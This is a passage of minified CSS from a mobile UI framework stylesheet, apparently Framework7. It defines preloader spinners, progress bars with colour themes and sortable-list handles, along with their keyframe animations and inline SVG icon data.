%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E")}@-webkit-keyframes ios-preloader-spin{100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes ios-preloader-spin{100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.md .preloader{font-size:0;display:inline-block;width:32px;height:32px;-webkit-animation:md-preloader-outer 3.3s linear infinite;animation:md-preloader-outer 3.3s linear infinite}@-webkit-keyframes md-preloader-outer{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes md-preloader-outer{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.md .preloader-inner{position:relative;display:block;width:100%;height:100%;-webkit-animation:md-preloader-inner-rotate 5.25s cubic-bezier(.35,0,.25,1) infinite;animation:md-preloader-inner-rotate 5.25s cubic-bezier(.35,0,.25,1) infinite}.md .preloader-inner .preloader-inner-gap{position:absolute;width:2px;left:50%;margin-left:-1px;top:0;bottom:0;-webkit-box-sizing:border-box;box-sizing:border-box;border-top:4px solid #757575}.md .preloader-inner .preloader-inner-left,.md .preloader-inner .preloader-inner-right{position:absolute;top:0;height:100%;width:50%;overflow:hidden}.md .preloader-inner .preloader-inner-half-circle{position:absolute;top:0;height:100%;width:200%;-webkit-box-sizing:border-box;box-sizing:border-box;border:4px solid #757575;border-bottom-color:transparent!important;border-radius:50%;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;-webkit-animation-duration:1.3125s;animation-duration:1.3125s;-webkit-animation-timing-function:cubic-bezier(.35,0,.25,1);animation-timing-function:cubic-bezier(.35,0,.25,1)}.md .preloader-inner .preloader-inner-left{left:0}.md .preloader-inner .preloader-inner-left .preloader-inner-half-circle{left:0;border-right-color:transparent!important;-webkit-animation-name:md-preloader-left-rotate;animation-name:md-preloader-left-rotate}.md .preloader-inner .preloader-inner-right{right:0}.md .preloader-inner .preloader-inner-right .preloader-inner-half-circle{right:0;border-left-color:transparent!important;-webkit-animation-name:md-preloader-right-rotate;animation-name:md-preloader-right-rotate}.md .preloader-modal{border-radius:4px}.md .preloader.color-red .preloader-inner-gap,.md .preloader.color-red .preloader-inner-half-circle,.md .preloader.preloader-red .preloader-inner-gap,.md .preloader.preloader-red .preloader-inner-half-circle{border-color:#f44336}.md .preloader.color-green .preloader-inner-gap,.md .preloader.color-green .preloader-inner-half-circle,.md .preloader.preloader-green .preloader-inner-gap,.md .preloader.preloader-green .preloader-inner-half-circle{border-color:#4caf50}.md .preloader.color-blue .preloader-inner-gap,.md .preloader.color-blue .preloader-inner-half-circle,.md .preloader.preloader-blue .preloader-inner-gap,.md .preloader.preloader-blue .preloader-inner-half-circle{border-color:#2196f3}.md .preloader.color-pink .preloader-inner-gap,.md .preloader.color-pink .preloader-inner-half-circle,.md .preloader.preloader-pink .preloader-inner-gap,.md .preloader.preloader-pink .preloader-inner-half-circle{border-color:#e91e63}.md .preloader.color-yellow .preloader-inner-gap,.md .preloader.color-yellow .preloader-inner-half-circle,.md .preloader.preloader-yellow .preloader-inner-gap,.md .preloader.preloader-yellow .preloader-inner-half-circle{border-color:#ffeb3b}.md .preloader.color-orange .preloader-inner-gap,.md .preloader.color-orange .preloader-inner-half-circle,.md .preloader.preloader-orange .preloader-inner-gap,.md .preloader.preloader-orange .preloader-inner-half-circle{border-color:#ff9800}.md .preloader.color-gray .preloader-inner-gap,.md .preloader.color-gray .preloader-inner-half-circle,.md .preloader.preloader-gray .preloader-inner-gap,.md .preloader.preloader-gray .preloader-inner-half-circle{border-color:#9e9e9e}.md .preloader.color-white .preloader-inner-gap,.md .preloader.color-white .preloader-inner-half-circle,.md .preloader.preloader-white .preloader-inner-gap,.md .preloader.preloader-white .preloader-inner-half-circle{border-color:#fff}.md .preloader.color-black .preloader-inner-gap,.md .preloader.color-black .preloader-inner-half-circle,.md .preloader.preloader-black .preloader-inner-gap,.md .preloader.preloader-black .preloader-inner-half-circle{border-color:#000}.md .preloader.color-multi .preloader-inner-left .preloader-inner-half-circle{-webkit-animation-name:md-preloader-left-rotate-multicolor;animation-name:md-preloader-left-rotate-multicolor}.md .preloader.color-multi .preloader-inner-right .preloader-inner-half-circle{-webkit-animation-name:md-preloader-right-rotate-multicolor;animation-name:md-preloader-right-rotate-multicolor}@-webkit-keyframes md-preloader-left-rotate{0%,100%{-webkit-transform:rotate(130deg);transform:rotate(130deg)}50%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}}@keyframes md-preloader-left-rotate{0%,100%{-webkit-transform:rotate(130deg);transform:rotate(130deg)}50%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}}@-webkit-keyframes md-preloader-right-rotate{0%,100%{-webkit-transform:rotate(-130deg);transform:rotate(-130deg)}50%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}}@keyframes md-preloader-right-rotate{0%,100%{-webkit-transform:rotate(-130deg);transform:rotate(-130deg)}50%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}}@-webkit-keyframes md-preloader-inner-rotate{12.5%{-webkit-transform:rotate(135deg);transform:rotate(135deg)}25%{-webkit-transform:rotate(270deg);transform:rotate(270deg)}37.5%{-webkit-transform:rotate(405deg);transform:rotate(405deg)}50%{-webkit-transform:rotate(540deg);transform:rotate(540deg)}62.5%{-webkit-transform:rotate(675deg);transform:rotate(675deg)}75%{-webkit-transform:rotate(810deg);transform:rotate(810deg)}87.5%{-webkit-transform:rotate(945deg);transform:rotate(945deg)}100%{-webkit-transform:rotate(1080deg);transform:rotate(1080deg)}}@keyframes md-preloader-inner-rotate{12.5%{-webkit-transform:rotate(135deg);transform:rotate(135deg)}25%{-webkit-transform:rotate(270deg);transform:rotate(270deg)}37.5%{-webkit-transform:rotate(405deg);transform:rotate(405deg)}50%{-webkit-transform:rotate(540deg);transform:rotate(540deg)}62.5%{-webkit-transform:rotate(675deg);transform:rotate(675deg)}75%{-webkit-transform:rotate(810deg);transform:rotate(810deg)}87.5%{-webkit-transform:rotate(945deg);transform:rotate(945deg)}100%{-webkit-transform:rotate(1080deg);transform:rotate(1080deg)}}@-webkit-keyframes md-preloader-left-rotate-multicolor{0%,100%{border-left-color:#4285f4;-webkit-transform:rotate(130deg);transform:rotate(130deg)}75%{border-left-color:#1b9a59;border-top-color:#1b9a59}50%{border-left-color:#f7c223;border-top-color:#f7c223;-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}25%{border-left-color:#de3e35;border-top-color:#de3e35}}@keyframes md-preloader-left-rotate-multicolor{0%,100%{border-left-color:#4285f4;-webkit-transform:rotate(130deg);transform:rotate(130deg)}75%{border-left-color:#1b9a59;border-top-color:#1b9a59}50%{border-left-color:#f7c223;border-top-color:#f7c223;-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}25%{border-left-color:#de3e35;border-top-color:#de3e35}}@-webkit-keyframes md-preloader-right-rotate-multicolor{0%,100%{border-right-color:#4285f4;-webkit-transform:rotate(-130deg);transform:rotate(-130deg)}75%{border-right-color:#1b9a59;border-top-color:#1b9a59}50%{border-right-color:#f7c223;border-top-color:#f7c223;-webkit-transform:rotate(5deg);transform:rotate(5deg)}25%{border-top-color:#de3e35;border-right-color:#de3e35}}@keyframes md-preloader-right-rotate-multicolor{0%,100%{border-right-color:#4285f4;-webkit-transform:rotate(-130deg);transform:rotate(-130deg)}75%{border-right-color:#1b9a59;border-top-color:#1b9a59}50%{border-right-color:#f7c223;border-top-color:#f7c223;-webkit-transform:rotate(5deg);transform:rotate(5deg)}25%{border-top-color:#de3e35;border-right-color:#de3e35}}.progressbar,.progressbar-infinite{width:100%;overflow:hidden;position:relative;display:block;-webkit-transform-style:preserve-3d;transform-style:preserve-3d}.framework7-root>.progressbar,.framework7-root>.progressbar-infinite,.page>.progressbar,.page>.progressbar-infinite,.panel>.progressbar,.panel>.progressbar-infinite,.popup>.progressbar,.popup>.progressbar-infinite,.view>.progressbar,.view>.progressbar-infinite,.views>.progressbar,.views>.progressbar-infinite,body>.progressbar,body>.progressbar-infinite{position:absolute;left:0;top:0;z-index:15000;border-radius:0!important;-webkit-transform-origin:center top!important;transform-origin:center top!important}.with-statusbar.device-ios .framework7-root>.progressbar,.with-statusbar.device-ios .framework7-root>.progressbar-infinite,.with-statusbar.device-ios body>.progressbar,.with-statusbar.device-ios body>.progressbar-infinite,.with-statusbar.ios:not(.device-ios):not(.device-android) .framework7-root>.progressbar,.with-statusbar.ios:not(.device-ios):not(.device-android) .framework7-root>.progressbar-infinite,.with-statusbar.ios:not(.device-ios):not(.device-android) body>.progressbar,.with-statusbar.ios:not(.device-ios):not(.device-android) body>.progressbar-infinite{top:20px}.with-statusbar.device-android .framework7-root>.progressbar,.with-statusbar.device-android .framework7-root>.progressbar-infinite,.with-statusbar.device-android body>.progressbar,.with-statusbar.device-android body>.progressbar-infinite,.with-statusbar.md:not(.device-ios):not(.device-android) .framework7-root>.progressbar,.with-statusbar.md:not(.device-ios):not(.device-android) .framework7-root>.progressbar-infinite,.with-statusbar.md:not(.device-ios):not(.device-android) body>.progressbar,.with-statusbar.md:not(.device-ios):not(.device-android) body>.progressbar-infinite{top:24px}.with-statusbar.device-iphone-x .framework7-root>.progressbar,.with-statusbar.device-iphone-x .framework7-root>.progressbar-infinite,.with-statusbar.device-iphone-x body>.progressbar,.with-statusbar.device-iphone-x body>.progressbar-infinite{top:constant(safe-area-inset-top);top:env(safe-area-inset-top)}.progressbar{vertical-align:middle}.progressbar span{width:100%;height:100%;position:absolute;left:0;top:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0);-webkit-transition-duration:150ms;transition-duration:150ms}.progressbar-infinite:after,.progressbar-infinite:before{position:absolute;left:0;top:0;width:100%;height:100%;-webkit-transform-origin:left center;transform-origin:left center;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);display:block}.progressbar-infinite.color-multi{background:0 0!important}.progressbar-in{-webkit-animation:progressbar-in 150ms forwards;animation:progressbar-in 150ms forwards}.progressbar-out{-webkit-animation:progressbar-out 150ms forwards;animation:progressbar-out 150ms forwards}@-webkit-keyframes progressbar-in{from{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}to{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1)}}@keyframes progressbar-in{from{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}to{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1)}}@-webkit-keyframes progressbar-out{from{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1)}to{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@keyframes progressbar-out{from{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1)}to{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}.ios .progressbar,.ios .progressbar-infinite{height:2px;background:#b6b6b6;-webkit-transform-origin:center top;transform-origin:center top;border-radius:2px}.ios .progressbar span{background:#007aff}.ios .progressbar-infinite:before{content:'';background:#007aff;-webkit-animation:ios-progressbar-infinite 1s linear infinite;animation:ios-progressbar-infinite 1s linear infinite}.ios .progressbar-infinite.color-multi:before{width:400%;background-image:-webkit-gradient(linear,left top,right top,from(#4cd964),color-stop(#5ac8fa),color-stop(#007aff),color-stop(#34aadc),color-stop(#5856d6),color-stop(#ff2d55),color-stop(#5856d6),color-stop(#34aadc),color-stop(#007aff),color-stop(#5ac8fa),to(#4cd964));background-image:-webkit-linear-gradient(left,#4cd964,#5ac8fa,#007aff,#34aadc,#5856d6,#ff2d55,#5856d6,#34aadc,#007aff,#5ac8fa,#4cd964);background-image:linear-gradient(to right,#4cd964,#5ac8fa,#007aff,#34aadc,#5856d6,#ff2d55,#5856d6,#34aadc,#007aff,#5ac8fa,#4cd964);background-size:25% 100%;background-repeat:repeat-x;-webkit-animation:ios-progressbar-infinite-multicolor 3s linear infinite;animation:ios-progressbar-infinite-multicolor 3s linear infinite}.ios .color-theme-red .progressbar span{background:#ff3b30}.ios .color-theme-red .progressbar-infinite:before{background:#ff3b30}.ios .color-theme-green .progressbar span{background:#4cd964}.ios .color-theme-green .progressbar-infinite:before{background:#4cd964}.ios .color-theme-blue .progressbar span{background:#007aff}.ios .color-theme-blue .progressbar-infinite:before{background:#007aff}.ios .color-theme-pink .progressbar span{background:#ff2d55}.ios .color-theme-pink .progressbar-infinite:before{background:#ff2d55}.ios .color-theme-yellow .progressbar span{background:#fc0}.ios .color-theme-yellow .progressbar-infinite:before{background:#fc0}.ios .color-theme-orange .progressbar span{background:#ff9500}.ios .color-theme-orange .progressbar-infinite:before{background:#ff9500}.ios .color-theme-gray .progressbar span{background:#8e8e93}.ios .color-theme-gray .progressbar-infinite:before{background:#8e8e93}.ios .color-theme-white .progressbar span{background:#fff}.ios .color-theme-white .progressbar-infinite:before{background:#fff}.ios .color-theme-black .progressbar span{background:#000}.ios .color-theme-black .progressbar-infinite:before{background:#000}.ios .progressbar.color-red span{background:#ff3b30}.ios .progressbar-infinite.color-red:before{background:#ff3b30}.ios .progressbar.color-green span{background:#4cd964}.ios .progressbar-infinite.color-green:before{background:#4cd964}.ios .progressbar.color-blue span{background:#007aff}.ios .progressbar-infinite.color-blue:before{background:#007aff}.ios .progressbar.color-pink span{background:#ff2d55}.ios .progressbar-infinite.color-pink:before{background:#ff2d55}.ios .progressbar.color-yellow span{background:#fc0}.ios .progressbar-infinite.color-yellow:before{background:#fc0}.ios .progressbar.color-orange span{background:#ff9500}.ios .progressbar-infinite.color-orange:before{background:#ff9500}.ios .progressbar.color-gray span{background:#8e8e93}.ios .progressbar-infinite.color-gray:before{background:#8e8e93}.ios .progressbar.color-white span{background:#fff}.ios .progressbar-infinite.color-white:before{background:#fff}.ios .progressbar.color-black span{background:#000}.ios .progressbar-infinite.color-black:before{background:#000}@-webkit-keyframes ios-progressbar-infinite{0%{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}100%{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}@keyframes ios-progressbar-infinite{0%{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}100%{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}@-webkit-keyframes ios-progressbar-infinite-multicolor{0%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}100%{-webkit-transform:translate3d(-50%,0,0);transform:translate3d(-50%,0,0)}}@keyframes ios-progressbar-infinite-multicolor{0%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}100%{-webkit-transform:translate3d(-50%,0,0);transform:translate3d(-50%,0,0)}}.md .progressbar,.md .progressbar-infinite{height:4px;background:rgba(33,150,243,.5);-webkit-transform-origin:center bottom;transform-origin:center bottom}.md .progressbar span{background:#2196f3}.md .progressbar-infinite{z-index:15000}.md .progressbar-infinite:after,.md .progressbar-infinite:before{content:'';background:#2196f3}.md .progressbar-infinite:before{-webkit-animation:md-progressbar-infinite-1 2s linear infinite;animation:md-progressbar-infinite-1 2s linear infinite}.md .progressbar-infinite:after{-webkit-animation:md-progressbar-infinite-2 2s linear infinite;animation:md-progressbar-infinite-2 2s linear infinite}.md .progressbar-infinite.color-multi:before{background:0 0;-webkit-animation:md-progressbar-infinite-multicolor-bg 3s step-end infinite;animation:md-progressbar-infinite-multicolor-bg 3s step-end infinite}.md .progressbar-infinite.color-multi:after{background:0 0;-webkit-animation:md-progressbar-infinite-multicolor-fill 3s linear infinite;animation:md-progressbar-infinite-multicolor-fill 3s linear infinite;-webkit-transform-origin:center center;transform-origin:center center}.md .color-theme-red .progressbar,.md .color-theme-red .progressbar-infinite{background:rgba(244,67,54,.5)}.md .color-theme-red .progressbar span{background:#f44336}.md .color-theme-red .progressbar-infinite:after,.md .color-theme-red .progressbar-infinite:before{background:#f44336}.md .color-theme-green .progressbar,.md .color-theme-green .progressbar-infinite{background:rgba(76,175,80,.5)}.md .color-theme-green .progressbar span{background:#4caf50}.md .color-theme-green .progressbar-infinite:after,.md .color-theme-green .progressbar-infinite:before{background:#4caf50}.md .color-theme-blue .progressbar,.md .color-theme-blue .progressbar-infinite{background:rgba(33,150,243,.5)}.md .color-theme-blue .progressbar span{background:#2196f3}.md .color-theme-blue .progressbar-infinite:after,.md .color-theme-blue .progressbar-infinite:before{background:#2196f3}.md .color-theme-pink .progressbar,.md .color-theme-pink .progressbar-infinite{background:rgba(233,30,99,.5)}.md .color-theme-pink .progressbar span{background:#e91e63}.md .color-theme-pink .progressbar-infinite:after,.md .color-theme-pink .progressbar-infinite:before{background:#e91e63}.md .color-theme-yellow .progressbar,.md .color-theme-yellow .progressbar-infinite{background:rgba(255,235,59,.5)}.md .color-theme-yellow .progressbar span{background:#ffeb3b}.md .color-theme-yellow .progressbar-infinite:after,.md .color-theme-yellow .progressbar-infinite:before{background:#ffeb3b}.md .color-theme-orange .progressbar,.md .color-theme-orange .progressbar-infinite{background:rgba(255,152,0,.5)}.md .color-theme-orange .progressbar span{background:#ff9800}.md .color-theme-orange .progressbar-infinite:after,.md .color-theme-orange .progressbar-infinite:before{background:#ff9800}.md .color-theme-gray .progressbar,.md .color-theme-gray .progressbar-infinite{background:rgba(158,158,158,.5)}.md .color-theme-gray .progressbar span{background:#9e9e9e}.md .color-theme-gray .progressbar-infinite:after,.md .color-theme-gray .progressbar-infinite:before{background:#9e9e9e}.md .color-theme-white .progressbar,.md .color-theme-white .progressbar-infinite{background:rgba(255,255,255,.5)}.md .color-theme-white .progressbar span{background:#fff}.md .color-theme-white .progressbar-infinite:after,.md .color-theme-white .progressbar-infinite:before{background:#fff}.md .color-theme-black .progressbar,.md .color-theme-black .progressbar-infinite{background:rgba(0,0,0,.5)}.md .color-theme-black .progressbar span{background:#000}.md .color-theme-black .progressbar-infinite:after,.md .color-theme-black .progressbar-infinite:before{background:#000}.md .progressbar-infinite.color-red,.md .progressbar.color-red{background:rgba(244,67,54,.5)}.md .progressbar.color-red span{background:#f44336}.md .progressbar-infinite.color-red:after,.md .progressbar-infinite.color-red:before{background:#f44336}.md .progressbar-infinite.color-green,.md .progressbar.color-green{background:rgba(76,175,80,.5)}.md .progressbar.color-green span{background:#4caf50}.md .progressbar-infinite.color-green:after,.md .progressbar-infinite.color-green:before{background:#4caf50}.md .progressbar-infinite.color-blue,.md .progressbar.color-blue{background:rgba(33,150,243,.5)}.md .progressbar.color-blue span{background:#2196f3}.md .progressbar-infinite.color-blue:after,.md .progressbar-infinite.color-blue:before{background:#2196f3}.md .progressbar-infinite.color-pink,.md .progressbar.color-pink{background:rgba(233,30,99,.5)}.md .progressbar.color-pink span{background:#e91e63}.md .progressbar-infinite.color-pink:after,.md .progressbar-infinite.color-pink:before{background:#e91e63}.md .progressbar-infinite.color-yellow,.md .progressbar.color-yellow{background:rgba(255,235,59,.5)}.md .progressbar.color-yellow span{background:#ffeb3b}.md .progressbar-infinite.color-yellow:after,.md .progressbar-infinite.color-yellow:before{background:#ffeb3b}.md .progressbar-infinite.color-orange,.md .progressbar.color-orange{background:rgba(255,152,0,.5)}.md .progressbar.color-orange span{background:#ff9800}.md .progressbar-infinite.color-orange:after,.md .progressbar-infinite.color-orange:before{background:#ff9800}.md .progressbar-infinite.color-gray,.md .progressbar.color-gray{background:rgba(158,158,158,.5)}.md .progressbar.color-gray span{background:#9e9e9e}.md .progressbar-infinite.color-gray:after,.md .progressbar-infinite.color-gray:before{background:#9e9e9e}.md .progressbar-infinite.color-white,.md .progressbar.color-white{background:rgba(255,255,255,.5)}.md .progressbar.color-white span{background:#fff}.md .progressbar-infinite.color-white:after,.md .progressbar-infinite.color-white:before{background:#fff}.md .progressbar-infinite.color-black,.md .progressbar.color-black{background:rgba(0,0,0,.5)}.md .progressbar.color-black span{background:#000}.md .progressbar-infinite.color-black:after,.md .progressbar-infinite.color-black:before{background:#000}@-webkit-keyframes md-progressbar-infinite-1{0%{-webkit-transform:translateX(-10%) scaleX(.1);transform:translateX(-10%) scaleX(.1)}25%{-webkit-transform:translateX(30%) scaleX(.6);transform:translateX(30%) scaleX(.6)}50%{-webkit-transform:translateX(100%) scaleX(1);transform:translateX(100%) scaleX(1)}100%{-webkit-transform:translateX(100%) scaleX(1);transform:translateX(100%) scaleX(1)}}@keyframes md-progressbar-infinite-1{0%{-webkit-transform:translateX(-10%) scaleX(.1);transform:translateX(-10%) scaleX(.1)}25%{-webkit-transform:translateX(30%) scaleX(.6);transform:translateX(30%) scaleX(.6)}50%{-webkit-transform:translateX(100%) scaleX(1);transform:translateX(100%) scaleX(1)}100%{-webkit-transform:translateX(100%) scaleX(1);transform:translateX(100%) scaleX(1)}}@-webkit-keyframes md-progressbar-infinite-2{0%{-webkit-transform:translateX(-100%) scaleX(1);transform:translateX(-100%) scaleX(1)}40%{-webkit-transform:translateX(-100%) scaleX(1);transform:translateX(-100%) scaleX(1)}75%{-webkit-transform:translateX(60%) scaleX(.35);transform:translateX(60%) scaleX(.35)}90%{-webkit-transform:translateX(100%) scaleX(.1);transform:translateX(100%) scaleX(.1)}100%{-webkit-transform:translateX(100%) scaleX(.1);transform:translateX(100%) scaleX(.1)}}@keyframes md-progressbar-infinite-2{0%{-webkit-transform:translateX(-100%) scaleX(1);transform:translateX(-100%) scaleX(1)}40%{-webkit-transform:translateX(-100%) scaleX(1);transform:translateX(-100%) scaleX(1)}75%{-webkit-transform:translateX(60%) scaleX(.35);transform:translateX(60%) scaleX(.35)}90%{-webkit-transform:translateX(100%) scaleX(.1);transform:translateX(100%) scaleX(.1)}100%{-webkit-transform:translateX(100%) scaleX(.1);transform:translateX(100%) scaleX(.1)}}@-webkit-keyframes md-progressbar-infinite-multicolor-bg{0%{background-color:#4caf50}25%{background-color:#f44336}50%{background-color:#2196f3}75%{background-color:#ffeb3b}}@keyframes md-progressbar-infinite-multicolor-bg{0%{background-color:#4caf50}25%{background-color:#f44336}50%{background-color:#2196f3}75%{background-color:#ffeb3b}}@-webkit-keyframes md-progressbar-infinite-multicolor-fill{0%{-webkit-transform:scaleX(0);transform:scaleX(0);background-color:#f44336}24.9%{-webkit-transform:scaleX(1);transform:scaleX(1);background-color:#f44336}25%{-webkit-transform:scaleX(0);transform:scaleX(0);background-color:#2196f3}49.9%{-webkit-transform:scaleX(1);transform:scaleX(1);background-color:#2196f3}50%{-webkit-transform:scaleX(0);transform:scaleX(0);background-color:#ffeb3b}74.9%{-webkit-transform:scaleX(1);transform:scaleX(1);background-color:#ffeb3b}75%{-webkit-transform:scaleX(0);transform:scaleX(0);background-color:#4caf50}100%{-webkit-transform:scaleX(1);transform:scaleX(1);background-color:#4caf50}}@keyframes md-progressbar-infinite-multicolor-fill{0%{-webkit-transform:scaleX(0);transform:scaleX(0);background-color:#f44336}24.9%{-webkit-transform:scaleX(1);transform:scaleX(1);background-color:#f44336}25%{-webkit-transform:scaleX(0);transform:scaleX(0);background-color:#2196f3}49.9%{-webkit-transform:scaleX(1);transform:scaleX(1);background-color:#2196f3}50%{-webkit-transform:scaleX(0);transform:scaleX(0);background-color:#ffeb3b}74.9%{-webkit-transform:scaleX(1);transform:scaleX(1);background-color:#ffeb3b}75%{-webkit-transform:scaleX(0);transform:scaleX(0);background-color:#4caf50}100%{-webkit-transform:scaleX(1);transform:scaleX(1);background-color:#4caf50}}.sortable .sortable-handler{position:absolute;top:0;bottom:1px;z-index:10;background-repeat:no-repeat;background-size:18px 12px;opacity:0;pointer-events:none;cursor:move;-webkit-transition-duration:.3s;transition-duration:.3s;right:0;background-position:100% 50%}.sortable .item-inner{-webkit-transition-duration:.3s;transition-duration:.3s}.sortable li.sorting{z-index:50;background:rgba(255,255,255,.8);-webkit-transition-duration:0s;transition-duration:0s}.sortable li.sorting .item-inner:after{display:none!important}.sortable-sorting li{-webkit-transition-duration:.3s;transition-duration:.3s}.sortable-enabled .sortable-handler{pointer-events:auto;opacity:1;background-position:50% 50%}.sortable-enabled .item-link .item-inner,.sortable-enabled .item-link .item-title-row{background-image:none!important}.sortable.theme-dark li.sorting,.theme-dark .sortable li.sorting{background-color:rgba(50,50,50,.8)}.ios .sortable-handler{width:35px;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2018%2012'%20fill%3D'%23c7c7cc'%3E%3Cpath%20d%3D'M0%2C2V0h22v2H0z'%2F%3E%3Cpath%20d%3D'M0%2C7V5h22v2H0z'%2F%3E%3Cpath%20d%3D'M0%2C12v-2h22v2H0z'%2F%3E%3C%2Fsvg%3E")}.ios .sortable li.sorting{-webkit-box-shadow:0 2px 8px rgba(0,0,0,.6);box-shadow:0 2px 8px rgba(0,0,0,.6)}.ios .sortable-enabled .item-inner,.ios .sortable-enabled .item-link .item-inner{padding-right:35px}.ios .list.sortable-enabled .item-link.no-chevron .item-inner,.ios .list.sortable-enabled .no-chevron .item-link .item-inner,.ios .list.sortable-enabled.no-chevron .item-link .item-inner,.ios .no-chevron .list.sortable-enabled .item-link .item-inner{padding-right:35px}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .sortable-handler,.ios.device-iphone-x .ios-right-edge .sortable-handler,.ios.device-iphone-x .panel-right .sortable-handler,.ios.device-iphone-x .popup .sortable-handler,.ios.device-iphone-x .sheet-modal .sortable-handler{right:constant(safe-area-inset-right);right:env(safe-area-inset-right)}.ios.device-iphone-x .ios-edges .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.ios.device-iphone-x .ios-edges .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.ios.device-iphone-x .ios-right-edge .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.ios.device-iphone-x .ios-right-edge .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.ios.device-iphone-x .panel-right .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.ios.device-iphone-x .panel-right .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.ios.device-iphone-x .popup .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.ios.device-iphone-x .popup .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.ios.device-iphone-x .sheet-modal .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.ios.device-iphone-x .sheet-modal .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner{padding-right:calc(35px + constant(safe-area-inset-right));padding-right:calc(35px + env(safe-area-inset-right))}}.md .sortable-handler{width:50px;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2018%208'%3E%3Crect%20x%3D'0'%20y%3D'0'%20width%3D'18'%20height%3D'2'%20fill%3D'%23c7c7cc'%3E%3C%2Frect%3E%3Crect%20x%3D'0'%20y%3D'6'%20width%3D'18'%20height%3D'2'%20fill%3D'%23c7c7cc'%3E%3C%2Frect%3E%3C%2Fsvg%3E")}.md .sortable li.sorting{-webkit-box-shadow:0 3px 6px rgba(0,0,0,.16),0 3px 6px rgba(0,0,0,.23);box-shadow:0 3px 6px rgba(0,0,0,.16),0 3px 6px rgba(0,0,0,.23)}.md .sortable-enabled .item-inner,.md .sortable-enabled .item-link .item-inner{padding-right:50px}.md .list.sortable-enabled .item-link.no-chevron .item-inner,.md .list.sortable-enabled .no-chevron .item-link .item-inner,.md .list.sortable-enabled.no-chevron .item-link .item-inner,.md .no-chevron .list.sortable-enabled .item-link .item-inner{padding-right:50px}@media (orientation:landscape){.md.device-iphone-x .ios-edges .sortable-handler,.md.device-iphone-x .ios-right-edge .sortable-handler,.md.device-iphone-x .panel-right .sortable-handler,.md.device-iphone-x .popup .sortable-handler,.md.device-iphone-x .sheet-modal .sortable-handler{right:constant(safe-area-inset-right);right:env(safe-area-inset-right)}.md.device-iphone-x .ios-edges .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.md.device-iphone-x .ios-edges .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.md.device-iphone-x .ios-right-edge .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.md.device-iphone-x .ios-right-edge .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.md.device-iphone-x .panel-right 